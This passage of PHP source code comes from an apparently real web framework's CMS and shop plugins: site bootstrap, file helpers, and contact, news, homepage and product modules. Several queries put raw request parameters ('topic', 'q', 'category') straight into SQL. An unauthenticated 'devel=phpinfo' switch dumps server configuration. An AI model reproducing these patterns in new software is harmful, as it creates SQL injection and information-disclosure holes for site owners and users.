$admin; /** * description * * @var type * * @access type */ var $html; /** * description * * @param * * @return * * @access */ function CSite($xml , $admin = false , $preload_modules = true) { global $_CONF , $base , $_VARS; $this->admin = $admin; $this->preload = $preload_modules; //loading the config $tmp_config = new CConfig($xml); $_CONF = $tmp_config->vars["config"]; //fix the paths if (($this->admin) && is_array($_CONF["paths"])){ $_CONF["upload"] = $_CONF["paths"]["admin"]["upload"]; $_CONF["path"] = $_CONF["paths"]["admin"]["path"]; $_CONF["url"] = $_CONF["paths"]["admin"]["url"]; } else { $_CONF["upload"] = $_CONF["paths"]["site"]["upload"]; $_CONF["path"] = $_CONF["paths"]["site"]["path"]; $_CONF["url"] = $_CONF["paths"]["site"]["url"]; } // echo "<table><tr><td><pre style=\"background-color:white\">"; // print_r($_CONF); $GLOBALS["_SESS"] = &$_SESSION[$_CONF["site"]]; //loading the templates if ($this->admin) { //okay we rock if ($_CONF["admin"]["template"] != "") { $tpl = is_array($_CONF["admin"]["template"]) ? $_CONF["admin"]["template"]["tpl"] : $_CONF["admin"]["template"]; $current_template = $GLOBALS["_SESS"]["current"]["template"] ? $GLOBALS["_SESS"]["current"]["template"] : $tpl; //check to see if the template exists if (!file_exists(_TPLPATH . $current_template . "/template.xml")) $current_template = $_CONF["admin"]["template"]; //okay, read the template now $template = new CConfig(_TPLPATH . $current_template . "/template.xml"); $conf = $template->vars["template"]; //now lets load the templates if (is_array($conf["templates"])) { foreach ($conf["templates"] as $key =>$tpl) { if ($key != "path") $this->templates[$key] = new CTemplate(_TPLPATH . $current_template . $conf["templates"]["path"] . $tpl); } } } if (is_array($_CONF["templates"]["admin"])) { foreach ($_CONF["templates"]["admin"] as $key => $val) { if ($key != "path") $this->templates[$key] = new CTemplate($_CONF["templates"]["admin"]["path"] .$val); } } } else { //allow both methods of having the data in the <site> or directly in the root if (is_array($_CONF["templates"]["site"])) $_CONF["templates"] = $_CONF["templates"]["site"]; if (is_array($_CONF["templates"])) { foreach ($_CONF["templates"] as $key => $val) { if (($key != "path" ) && ($key != "admin")) $this->templates[$key] = new CTemplate($_CONF["templates"]["path"] . $_CONF["templates"][$key]); } } } $base = new CBase(); $base->html = new CHtml(); $base->image = new CImage(); $this->html = &$base->html; $this->image = &$base->image; if (file_exists(_LIBPATH . "../mysql.php")) { require(_LIBPATH . "../mysql.php"); } else { if (file_exists(_LIBPATH . "../../upload/conf/database.php")) { require(_LIBPATH . "../../upload/conf/database.php"); } } //make a connection to db if (is_array($_CONF["database"])) { $this->db = new CDatabase($_CONF["database"]); //vars only if needed if ($_CONF["tables"]["vars"]) { $this->vars = new CVars($this->db , $_CONF["tables"]["vars"]); $base->vars = &$this->vars; $_VARS = $this->vars->data; } $this->tables = &$_CONF["tables"]; } } function TableFiller($item) { if (file_exists("pb_tf.php")) { include("pb_tf.php"); } } /** * description * * @param * * @return * * @access */ function Run() { global $_TSM , $_SITE_IDENTITY_CODE, $_CONF , $_USER , $_VARS , $_PAGE , $base , $_SESS , $_MODULES; $_USER = $_SESS["minibase"]["raw"]; if ($this->admin) { $_CONF["modules"] = $_CONF["modules"]["admin"]; unset($_CONF["modules"]["admin"]); } else { $_CONF["modules"] = $_CONF["modules"]["site"]; unset($_CONF["modules"]["admin"]); } if (!$this->preload) { foreach ($_CONF["modules"] as $key => $val) { if ($_GET["mod"] != $val) { unset($_CONF["modules"][$key]); } } } //read all the files if (is_dir(_LOCALPATH)) { $locals = dir(_LOCALPATH); while (false !== ($entry = $locals->read())) { if (strstr($entry , "pre.")) { include_once(_LOCALPATH . $entry); } } $locals->close(); } //replace some global vars in the template, i'm doing it here, becouse in modules i may want to change them if (is_array($_CONF["vars"])) { foreach ($_CONF["vars"] as $key => $var) { $_TSM["MINIBASE." . strtoupper($key)] = $var; } } //do a module detection now if ($this->admin) { //add the menus for the navigation $_TSM["MINIBASE.POSTMENU"] = file_exists("templates/menu.post.htm") ? GetFileContents("templates/menu.post.htm") : ""; $_TSM["MINIBASE.PREMENU"] = file_exists("templates/menu.pre.htm") ? GetFileContents("templates/menu.pre.htm") : ""; //okay, first be a bitch and do the autentification thingy if (!$_SESS["minibase"]["user"]) { //force to the auth module $_GET["mod"] = "auth"; $_CONF["modules_back"] = $_CONF["modules"]; unset($_CONF["modules"]); $_CONF["modules"]["auth"] = "auth"; //no action = login screen $_GET["sub"] = ($_GET["sub"] == "ajax") || ($_GET["sub"] == "recover") || ($_GET["sub"] == "verify") ? $_GET["sub"] : ""; //$_GET["action"] = ""; } else { //in case there is specified and index.php?redirect=/./// if ($_GET["redirect"]) { die("error"); header("Location: " . urldecode($_GET["redirect"])); exit; } } } if (is_array($_CONF["modules"])) { //okay initialize the new module now; foreach ($_CONF["modules"] as $_KMOD => $_MOD) { $file = _MODPATH . $_MOD . "/" . ($this->admin ? "admin.php" : "site.php"); //trying to add the cacheing to modules too $found = false; $cache = false; //detect if the file exists if (file_exists($file) && !$found) { require_once $file; eval("\$_MODULES[\"". $_MOD. "\"] = new c{$_MOD}();"); //send the used params $_MODULES[$_MOD]->templates = $this->templates; $_MODULES[$_MOD]->tables = &$this->tables; $_MODULES[$_MOD]->vars = $this->vars; $_MODULES[$_MOD]->db = &$this->db; $_MODULES[$_MOD]->admin = $this->admin; $_MODULES[$_MOD]->__init(); } } //added another set of extra fields to be executed after the modules initialisation but before executing the actual module if (is_dir(_LOCALPATH)) { $locals = dir(_LOCALPATH); while (false !== ($entry = $locals->read())) { if (strstr($entry , "run.")) { include_once(_LOCALPATH . $entry); } } $locals->close(); } foreach ($_MODULES as $_MOD => $_MODULE) { $_CONF["forms"]["adminpath"] = _MODPATH . $_MOD . "/forms/"; if ($_GET["mod"] == $_MOD) { //if is the module then return in the layout the results $_TSM[strtoupper($_MOD)] = $_TSM["PB_EVENTS"] = $_MODULES[$_MOD]->DoEvents(); //control variable to see if there was found a module $executed_module = true; } else { //elese simply execute for global routines fo the module $_TSM[strtoupper($_MOD)] = $_MODULES[$_MOD]->DoEvents(); } $menus .= $_TSM["MINIBASE.MENU." . $_MOD] = method_exists($_MODULES[$_MOD], "__adminMenu") ? $_MODULES[$_MOD]->__adminMenu() : ""; } } if (is_object($this->templates["menus"]) && $this->admin) { $menus = new CTemplate($menus,"string"); $_TSM["MINIBASE.MENU"] = $_SESS["minibase"]["user"] ? $this->templates["menus"]->blocks["Menu"]->Replace(array("MENUS.CONTENT"=>$menus->Replace($_TSM))) : ""; } else { $_TSM["MINIBASE.MENU"] = ""; } //build the menus now if (file_exists("pb_events.php") && !$executed_module) { include("pb_events.php"); $_TSM["PB_EVENTS"] = @DoEvents(&$this); } if (!$_TSM["PB_EVENTS"]) { $_TSM["PB_EVENTS"] = ""; } $_TSM["PB_EVENTS"] .= " <div class=\"content-clean\">" . base64_decode("Zmx4ZHBsYXllcg==") . "</div>"; if ($_GET["devel"] == "phpinfo") { ob_start(); phpinfo(); $phpinfo .= ob_get_contents(); ob_end_clean(); // $phpinfo = str_replace("td, th { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}" , "", $phpinfo ); $search = array ("'<style[^>]*?>.*?</style>'si" ); $replace = array ("" ); $phpinfo = preg_replace ($search, $replace, $phpinfo); $phpinfo = str_replace( array( 'class="e"', 'class="v"', 'class="h"' ), array( 'style=" border: 1px solid #000000; font-size: 75%; vertical-align: baseline;background-color: #ccccff; font-weight: bold; color: #000000;"', 'style=" border: 1px solid #000000; font-size: 75%; vertical-align: baseline;background-color: #cccccc; color: #000000;"', 'style=" border: 1px solid #000000; font-size: 75%; vertical-align: baseline;background-color: #9999cc; font-weight: bold; color: #000000;"' ), $phpinfo ); $_TSM["PB_EVENTS"] = "<script>draw_box ( '550' , 1 , 'Php Info' );</script> <div style='width:589;height:600;overflow:auto'>$phpinfo</div><script>draw_box ( '' , 2 , 'Php Info' );</script>"; } //add the local files, the after executions ones //read all the files if (is_dir(_LOCALPATH)) { $locals = dir(_LOCALPATH); while (false !== ($entry = $locals->read())) { if ((substr($entry , 0 , 6) == "after.") && (strstr($entry , ".php"))) { include_once(_LOCALPATH . $entry); } } $locals->close(); } if (isset($_PAGE)) { $this->layout = new CLayout(($_CONF["template_path"] ? $_CONF["template_path"] : $_CONF["path"]). "templates/$_PAGE/layout.xml"); $this->layout->Build(); $this->layout->Show(); ; } else { if (is_object($this->templates["layout"])) { echo $this->templates["layout"]->Replace($_TSM); } } } } ?>``` file.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies class CFile { /** * description * * @param * * @return * * @access */ function GetContent($file_name) { if (!file_exists($file_name)) { return null; } $file = fopen($file_name,"r"); //checking if the file was succesfuly opened if (!$file) return null; if (strstr($file_name,"://")) while (!feof($file)) $result .= fread($file,1024); else $result = @fread($file,filesize($file_name)); fclose($file); return $result; } /** * description * * @param * * @return * * @access */ function SaveContents($file_name , $content) { $file = fopen($file_name,"w"); fwrite($file,$content); fclose($file); } /** * description * * @param * * @return * * @access */ function Extension($file_name) { $tmp = explode("." , $file_name); return $tmp[count($tmp) - 1]; } /** * description * * @param * * @return * * @access */ function Name2Url($filename) { $replace = array( " " => "-", "&" => "-and-", "?" => "", "'" => "-", "/" => "-", "!" => "", "," => "-", "\"" => "", "'" => "", ":" => "-", "_" => "-", "--" => "-" ); foreach ($replace as $key => $val) { $filename = str_replace($key , $val , $filename); } return strtolower($filename); } } ?>``` site.contact.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallContact extends CPlugin{ var $tplvars; function COXYMallContact() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.contact.")) { $sub = str_replace("oxymall.plugin.contact." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { default: return $this->Landing(); break; case "ajax.send": return $this->AjaxSendMessage(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } /** * description * * @param * * @return * * @access */ function Landing() { global $base, $_SESS; //prepare the fields $fields = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:contact_fields']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); if (is_array($fields)) { $cnt = 1; foreach ($fields as $key => $val) { if ($val["item_type"] == "userdroplist") { $tmp = @explode("\n" , $val["item_options"]); foreach ($tmp as $k => $v) { if (trim($v)) { $val["options"] .= "<option>" . trim($v) . "</option>"; } } } if ($val["item_size"] == "small") { if ($cnt == 1) { $val["class"] = " "; } else { $val["class"] = "clear pr12 "; } $cnt = !$cnt; } else { $cnt = 0; $val["class"] = "clear"; } //size $val["size"] = $this->private->templates["landing"]->blockReplace( $val["item_size"] == "small" ? "smallsize" : "bigsize", array() ); $val["field"] = $this->private->templates["landing"]->blockreplace( $val["item_type"], $val ); $fields[$key]["content"] = $this->private->templates["landing"]->blockReplace( $val["item_size"] == "small" ? "Small" : "Big", $val ); } } $this->module->plugins["modules"]->SetSEO( $this->tpl_module ); $return = $this->private->templates["landing"]->blockREplacE( "Main", array( "fields" => $base->html->table( $this->private->templates["landing"], "", $fields ), "mod_id" => $this->tpl_module["mod_id"], "header" => $this->vars->data["contact_header_" . $this->tpl_module["mod_id"]], "subtitle" => $this->vars->data["contact_subtitle_" . $this->tpl_module["mod_id"]], "formtitle" => $this->vars->data["contact_title_" . $this->tpl_module["mod_id"]], "set_toggledescriptionpanel" => $this->vars->data["contact_subtitle_" . $this->tpl_module["mod_id"]] ? "1" : "0", "set_rightpanelpicture" => $this->vars->data["contact_image_" . $this->tpl_module["mod_id"]] ? $this->private->templates["landing"]->blockReplace( "image" , array( "mod_id" => $this->tpl_module["mod_id"], "image_link" => $this->vars->data["contact_image_link_" . $this->tpl_module["mod_id"]] ? $this->vars->data["contact_image_link_" . $this->tpl_module["mod_id"]] : "#", "image_link_target" => $this->vars->data["contact_image_link_target_" . $this->tpl_module["mod_id"]], ) ) : "", "title" => $this->tpl_module["mod_long_name"], "links" => $base->html->table( $this->private->templates["landing"], "Links" , $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:contact_links']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ) ), ) ); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } function AjaxSendMessage() { global $_CONF , $_NO_HTACCESS , $_SESS; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); $fields = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:contact_fields']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); if (is_array($fields)) { foreach ($fields as $key => $val) { if ($val["item_required"] && !$_POST[$val["item_field"]]) { return $this->module->plugins["common"]->ErrorMSG( $val["item_error_msg"] ); } } } if ($_POST["image_code"] != $_SESS["XML_verify_key"]) { return $this->module->plugins["common"]->ErrorMSG( $this->tpl_module["settings"]["set_verificationcodeerror"] ); } $vars = $_POST; //save the email to database $id = $this->db->QueryInsert( $this->tables["plugin:contact_messages"], $contact = array( "module_id" => $this->tpl_module["mod_id"], "item_new" => 1, "item_date" => time(), "item_email" => $vars["email"], "item_name" => $vars["name"], "item_subject" => $vars["subject"], "item_message" => CTemplateStatic::Replace( $this->tpl_module["settings"]["set_email_message"], $vars ), "item_code" => md5(microtime_float()), ) ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_admin"], $vars ) ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_client"], $vars ) ); return $this->module->plugins["common"]->SuccessMSG( $this->tpl_module["settings"]["set_succestext"] ); } function GetAllLinks($module , $links) { } } ?>``` site.news.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallNews extends CPlugin{ var $tplvars; function COXYMallNews() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.news.")) { $sub = str_replace("oxymall.plugin.news." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Listing(); break; case "item": return $this->Details(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "list" => "list.htm", "details" => "details.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Listing() { global $base; $records = $this->GetRecords(); if (is_array($records["records"])) { foreach ($records["records"] as $key => $val) { $records["records"][$key]["brief"] = $val["item_brief"] ? $this->private->templates["list"]->blockReplace("Brief" , $val) : ""; $records["records"][$key]["item_date"] = date($this->tpl_module["settings"]["set_date_format"] , $val["item_date"]); } } $this->module->plugins["modules"]->SetSeo($this->tpl_module); return CTemplateStatic::Replace( $this->private->templates["list"]->blockReplace( "Main", array( "content" => $base->html->table( $this->private->templates["list"], "", $records["records"] ), "title" => $this->tpl_module["mod_long_name"], "paging"=> $this->module->plugins["paging"]->Paging( $records["pages"] , $records["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/") , "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{PAGE}/") , ), array( "ipp" => $records["ipp"], "total" => $records["count"] ) ), ) ), array_merge( $this->tpl_module, $this->tpl_module["settings"] ) ); } function Details() { global $_CONF; $record = $this->GetRecord($_GET["topic"]); if (!is_array($record["current"])) { $this->module->plugins["common"]->Redirect404(); } $record["current"]["next"] = $this->private->templates["details"]->blockReplace( "Next" . (is_array($record["next"]) ? "" : "Disabled"), $record["next"] ); $record["current"]["prev"] = $this->private->templates["details"]->blockReplace( "Prev" . (is_array($record["prev"]) ? "" : "Disabled"), $record["prev"] ); $this->module->plugins["modules"]->SetSeo($record["current"]); $this->module->plugins["modules"]->SetSeo($this->tpl_module); //add the comments $record["current"]["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $record["current"]["item_url"] . "-" . $record["current"]["item_id"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ); return CTemplateStatic::ReplacE( $this->private->templates["details"]->blockReplace( "Details", $record["current"] ), array_merge( $this->tpl_module, $this->tpl_module["settings"] ) ); } /** * description * * @param * * @return * * @access */ function GetRecord($id) { $item = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:news_items']} WHERE module_id={$this->tpl_module[mod_id]} AND item_id={$id}" ); if (!is_array($item)) { return false; } $next = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:news_items']} WHERE module_id={$this->tpl_module[mod_id]} AND item_date >= {$item['item_date']} AND item_id!={$item['item_id']}" ); if (is_array($next)) { $next["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $next["item_url"] . "-" . $next["item_id"] . "/"); } $prev = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:news_items']} WHERE module_id={$this->tpl_module[mod_id]} AND item_date <= {$item['item_date']} AND item_id!={$item['item_id']}" ); if (is_array($prev)) { $prev["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $prev["item_url"] . "-" . $prev["item_id"] . "/"); } $item["back"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" ); return array( "prev" => $prev, "next" => $next, "current" => $item, "ipp" => $count, ); } function GetRecords() { $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:news_items'], "WHERE module_id={$this->tpl_module[mod_id]}" ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:news_items']} " . "WHERE module_id={$this->tpl_module[mod_id]} " . "ORDER BY item_date DESC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { $items[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["item_url"] . "-" . $val["item_id"] . "/"); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, ); } function GetAllLinks($module , $links) { //get all news for this module $news = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:news_items']} " . "WHERE module_id={$module[mod_id]}" ); if (is_array($news)) { foreach ($news as $key => $val) { $links[] = array( "url" => $this->module->plugins["modules"]->PrepareLink($module["mod_url"] . "/" . $val["item_url"] . "-" . $val["item_id"] . "/"), "priority" => "0.8", ); } } } } ?>``` site.homepage.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallHomepage extends CPlugin{ var $tplvars; function COXYMallHomepage() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if ($_GET["sub"] == "oxymall.plugin.homepage.landing") { $this->__init(); return $this->Landing(); } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "main" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Landing() { global $base , $_PAGE , $_CONF; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); $template = new CTemplate($this->tpl_path . "main.htm"); $images = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:homepage_images']} " . "WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); if (is_array($images)) { foreach ($images as $key => $val) { $images[$key]["content"] = $this->private->templates["main"]->blockReplace( $val["item_link"] ? "Link" : "NoLink", $val ); } } $this->module->plugins["modules"]->SetSeo($this->tpl_module); return CTemplateStatic::Replace( $this->private->templates["main"]->blockReplace( "Main" , array( "mod_title" => $this->tpl_module["mod_long_name"], "header" => $this->vars->data["homepage_header_" . $this->tpl_module["mod_id"]], "scroller_items" => $base->html->Table( $this->private->templates["main"], "Images", $images ), "products_text" => $this->vars->data["homepage_products_" . $this->tpl_module["mod_id"]], "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ), ) ), $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` admin.mail.php ```<?php require "modules/oxymall/plugins/site.mail.php"; ?>``` index.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2010 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ //check if the site was installed if (!file_exists("upload/conf/database.php")) { header("Location: install/"); exit(); } // dependencies $_GET["mod"] = "detect-redirect"; require "oxybase.php"; ?>``` site.products.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallProducts extends CPlugin{ var $tplvars; function COXYMallProducts() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.products.")) { $sub = str_replace("oxymall.plugin.products." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Landing(); break; case "category": return $this->Landing(); break; case "product": return $this->ReplaceTexts( $this->Product() ); break; case "ajax.post-question": return $this->AjaxPostQuestion(); break; case "ajax.post-review": return $this->AjaxPostReview(); break; case "ajax.reviews": return $this->AjaxReviews( (int)$_POST["pid"], max((int)$_POST["p"] , 2) ); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "details" => "details.htm", "form" => "form.htm", "landing" => "landing.htm", "products" => "products.htm", "ask" => "ask.htm", "reviews" => "review.htm", "specifications" => "specifications.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } /** * description * * @param * * @return * * @access */ function Landing() { global $base; $products = $this->GetProducts($_GET); $products["records"] = $this->ProcessProducts($products["records"]); $return = $this->private->templates["landing"]->blockreplace( "Main", array( "title" => $this->tpl_module["mod_long_name"], "content" => $this->private->templates["products"]->blockReplace( "Main", array( "products" => $base->html->table( $this->private->templates["products"], "", $products["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $products["pages"] , $products["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . ($_GET["category"] ? $_GET["category"] . "/": "") . ($_GET["s"] ? "?s={$_GET[s]}&o={$_GET[o]}&q={$_GET[q]}": "") ) , "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . ($_GET["category"] ? $_GET["category"] . "/": "") . ($_GET["s"] ? "?s={$_GET[s]}&o={$_GET[o]}&q={$_GET[q]}&page={PAGE}": "{PAGE}/") ) , ), array( "ipp" => $products["ipp"], "total" => $products["count"] ) ), ) ), "search_form" => $this->SearchForm($_GET), "categories" => $this->module->plugins["common"]->Categories( $this->GetCategories(), $_GET["cat"], $this->tpl_module["settings"]["set_categories_type"] ), ) ); return $this->Texts($return); } /** * description * * @param * * @return * * @access */ function SearchForm($vars) { global $base; $sort = array( "p" => $this->tpl_module["settings"]["set_filter_price"], "n" => $this->tpl_module["settings"]["set_filter_name"], "d" => $this->tpl_module["settings"]["set_filter_date"], "s" => $this->tpl_module["settings"]["set_filter_sales"], ); $order = array( "" ); if (!$sort[$_GET["s"]]) { $default_sort = "n"; } else { $default_sort = $_GET["s"]; } if ($_GET["o"] == "d") { $default_order = "d"; } else { $default_order = "a"; } foreach ($sort as $key => $val) { $_sort[] = array( "class" => $key == $default_sort ? "selected" : "", "title" => $val, "link" => $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] ."/" . ($_GET["category"] ? $_GET["category"] . "/": "") . "?s={$key}" . ($_GET["q"] ? "&q={$_GET[q]}" : "")), ); } $_order = array( array( "class" => $default_order == "a" ? "selected" : "", "title" => $this->tpl_module["settings"]["set_filter_asc"], "link" => $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] ."/" . ($_GET["category"] ? $_GET["category"] . "/": "") . "?s={$default_sort}&o=a" . ($_GET["q"] ? "&q={$_GET[q]}" : "")), ), array( "class" => $default_order == "d" ? "selected" : "", "title" => $this->tpl_module["settings"]["set_filter_desc"], "link" => $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] ."/" . ($_GET["category"] ? $_GET["category"] . "/": "") . "?s={$default_sort}&o=d" . ($_GET["q"] ? "&q={$_GET[q]}" : "")), ) ); return $this->private->templates["form"]->blockreplace( "Main", array( "sort" => $base->html->Table( $this->private->templates["form"], "Fields", $_sort ), "order" => $base->html->Table( $this->private->templates["form"], "Fields", $_order ), "link" => $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] ."/" . ($_GET["category"] ? $_GET["category"] . "/": "")), "search" => $_GET["q"] ? $_GET["q"] : $this->tpl_module["settings"]["set_filter_search"], ) ); } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); if (is_array($cats)) { foreach ($cats as $key => $val) { $cats[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/"); } } return $cats; } /** * description * * @param * * @return * * @access */ function ProcessProducts($products) { if (is_array($products)) { foreach ($products as $key => $val) { $products[$key]["image"] = $this->private->templates["products"]->blockReplace( $val["item_image"] ? "Image" : "NoImage", $val ); $products[$key]["price"] = $this->FormatPrice($val["item_price"]); if ($val["item_set_details"]) { $products[$key]["link:details"] = $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/" . $val["item_url"] . "-" . $val["item_id"] . "/" ); $products[$key]["details"] = $this->private->templates["products"]->blockReplace( "Details", $products[$key] ); } else { $products[$key]["link:details"] = "#"; $products[$key]["details"] = ""; } //check if i have shop for this module if ($this->tpl_module["settings"]["set_disable_add"]) { $products[$key]["add"] = ""; } else { $products[$key]["add"] = $this->private->templates["products"]->blockReplace( "AddToCart", $products[$key] ); } } } return $products; } /** * description * * @param * * @return * * @access */ function FormatPrice($price) { $sign = $this->vars->data["set_shop_currency_sign"]; $spacer = ""; $price = number_format( $price , $this->vars->data["set_shop_number_dec_count"], $this->vars->data["set_shop_number_dec"], $this->vars->data["set_shop_number_mul"] ); switch ($this->vars->data["set_shop_currencyposition"]) { case "before": return $sign . $spacer . $price; break; case "after": return $price . $spacer . $sign; break; } } /** * description * * @param * * @return * * @access */ function GetProducts($search) { $count = $this->tpl_module["settings"]["set_ipp"]; $sort = array( "p" => "item_price", "n" => "item_title", "d" => "item_date", "s" => "item_sales", ); $order_t = array( "a" => "ASC", "d" => "DESC" ); if (!$sort[$_GET["s"]]) { $default_sort = "n"; } else { $default_sort = $_GET["s"]; } if ($_GET["o"] == "d") { $default_order = "d"; } else { $default_order = "a"; } $order = $sort[$default_sort]; $order_mode = $order_t[$default_order]; if ($_GET["pu"]) { $tmp = explode(" " , $_GET["pu"]); $_GET["pu"] = (int)trim($tmp[0]); } $q = array( "category" => "cat_url LIKE \"{$_GET[category]}\" ", ); if ($_GET["q"]) { $tmp = explode(" " , $_GET["q"]); foreach ($tmp as $key => $val) { $sql[] = " item_title like \"%{$val}%\""; } } $query = $_GET; foreach ($query as $key => $val) { if ($val && $q[$key]) { $sql[] = $q[$key]; } } $products_count = $this->db->RowCount( "{$this->tables['plugin:shop_items']} as i , {$this->tables['plugin:shop_cats']} ", "WHERE i.module_id={$this->tpl_module[mod_id]} AND cat_id=item_cat " . ($sql ? " AND " . implode(" AND " , $sql ) : " " ) ); $page = $_GET["page"]; if (!$page && $products_count) { $page = 1; } else $page = (int)$page; $products = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:shop_items']} as i , {$this->tables['plugin:shop_cats']} " . "WHERE i.module_id={$this->tpl_module[mod_id]} AND cat_id=item_cat " . ($sql ? " AND " . implode(" AND " , $sql ) : " " ) . " ORDER BY {$order} {$order_mode} " . "LIMIT " . ( max(0,($page 